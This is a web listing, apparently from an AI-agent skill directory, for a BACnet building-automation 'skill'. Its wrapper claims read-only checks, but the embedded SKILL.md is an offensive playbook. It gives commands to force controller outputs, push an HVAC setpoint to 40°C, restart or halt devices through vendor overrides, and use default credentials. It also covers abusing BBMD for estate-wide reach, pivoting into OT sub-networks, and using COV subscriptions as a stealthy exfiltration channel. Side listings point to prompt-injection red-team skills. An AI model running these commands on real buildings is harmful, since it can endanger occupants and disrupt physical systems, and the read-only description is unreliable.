ics-bacnet
What it does
This guide covers security checks for BACnet, a protocol that runs heating, lighting and access systems in commercial buildings. It is for building operators and security teams with written approval.
When to use it
- βWhen an authorized review needs to find building automation devices on a network.
- βWhen you want to check whether building controllers accept requests without authentication.
- βWhen a building operator wants to know which devices expose too much information.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/bacnet/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βWe run building automation for an office. Can you check which BACnet devices are visible and whether they need protection?β
5 new skills a week. 1 minute to read.
How it works
The agent sends discovery requests, lists the devices that answer, and checks what information each one exposes, keeping to read-only steps.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
BACnet/IP Attack β Building Automation
BACnet runs HVAC, lighting, access control, elevators in commercial buildings. UDP/47808 by default. No authentication in BACnet/IP.
Discover
# Send Who-Is broadcast (BACnet's auto-discovery)
nmap -sU -p 47808 --script=bacnet-info 10.0.0.0/24
# Or with bacnet-tools (apt: bacnet-stack)
bacwi # who-is broadcast
bacrp 1234 8 1 85 # ReadProperty: device 1234, object analog-value 1, property 85 (present-value)
# bacpypes (Python)
python3 -c '
from bacpypes.app import BIPSimpleApplication
from bacpypes.core import run, stop
from bacpypes.iocb import IOCB
from bacpypes.local.device import LocalDeviceObject
from bacpypes.apdu import WhoIsRequest
ld = LocalDeviceObject(objectName="x", objectIdentifier=599, vendorIdentifier=15)
app = BIPSimpleApplication(ld, "10.0.0.99")
req = WhoIsRequest(); req.pduDestination = ("10.0.0.255",47808)
iocb = IOCB(req); app.request_io(iocb)
# Devices respond with I-Am
'
What you get from discovery
Each I-Am response identifies:
- Device Instance number (PK for that device)
- Vendor ID (Honeywell=24, Siemens=7, Schneider=10, Johnson Controls=5, ...)
- Max APDU + Segmentation support
Look up the vendor β vendor-specific objects often expose more (admin override, factory reset, etc.).
Read everything
# Object types to enumerate: analog-input(0), analog-output(1), analog-value(2),
# binary-input(3), binary-output(4), binary-value(5), device(8), schedule(17), program(16)
# Read all objects on a device:
bacrpm 1234 8 1 76 # property 76 = object-list
# Each entry: (object-type, instance). Then for each:
bacrp 1234 0 1 85 # analog-input 1, present-value
Write attacks
Override an output (the actual physical effect)
# Force binary-output 5 ON with priority 8 (manual operator)
bacwp 1234 4 5 85 8 -1 0 # write True at priority 8
# AnalogOutput (e.g., setpoint) to 40Β°C
bacwp 1234 1 3 85 8 -1 40.0
Subscribe to COV β Change Of Value (passive observation w/ delivery to attacker)
bacscov 1234 0 1 60 # Subscribe to analog-input 1, 60-sec lifetime
# Server pushes updates as values change β passive tap on building telemetry
Broadcast Storm (BBMD abuse)
BBMD (BACnet Broadcast Management Device) forwards broadcasts across IP subnets. A misconfigured BBMD lets you reach EVERY BACnet device in the org from a single network position:
# Send Who-Is with destination = BBMD's broadcast-distribution-table
# Each device replies with I-Am directly to attacker β fingerprints the whole estate
Vendor-specific overrides
- Johnson Controls Metasys:
device.system-statuswritable from network β restart device - Siemens Apogee:
program-statewritable β halt/run program objects - Honeywell Niagara: web UI on port 80/443 often unauth or default creds (
tridium/tridium)
Pivot from BACnet to OT network
A compromised BACnet controller often has secondary network interfaces:
- Trunk to RS-485 sensor net (BACnet MS/TP)
- Modbus to a chiller / VFD
- LonWorks for older lighting controls
- KNX for European installations
Once you control the BACnet gateway, you can tunnel to those sub-protocols.
OPSEC + safety
- Building safety: writes to HVAC setpoints affect physical occupants. Don't change setpoints by >2Β°C without sign-off; many buildings have safety-system interlocks but not all.
- COV subscriptions are visible in BACnet IDS (Tridium, Wattics, Siemens Cybertect) but not in network IDS β quiet exfil channel for building telemetry.
- Logs: BACnet has no audit by default. Some controllers log via Niagara web UI β check that side.
References
- "BACnet/IP Vulnerabilities" β Stephen Hilt, Trend Micro
- bacpypes docs β github.com/JoelBender/bacpypes
- DEFCON 28 ICS Village "Building Automation Attacks" β Marc Rogers
- ASHRAE 135 (the BACnet spec itself β reference what's writable per object type)
FAQ
Does BACnet have authentication?
The guide says BACnet over IP has no built-in authentication, so network controls matter.
What is a discovery broadcast?
It is a standard request that asks all BACnet devices on the network to identify themselves.
Why is vendor information useful?
The guide notes that vendor details help identify device types and their known settings.
Details
Original description by the author
BACnet/IP attack β UDP/47808 discovery via Who-Is broadcast, ReadProperty / WriteProperty without auth, BBMD abuse for remote reach, vendor-specific I-Am responses, COV (Change Of Value) subscription flood, Building Automation HMI pivot.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #14035
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- β¦
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.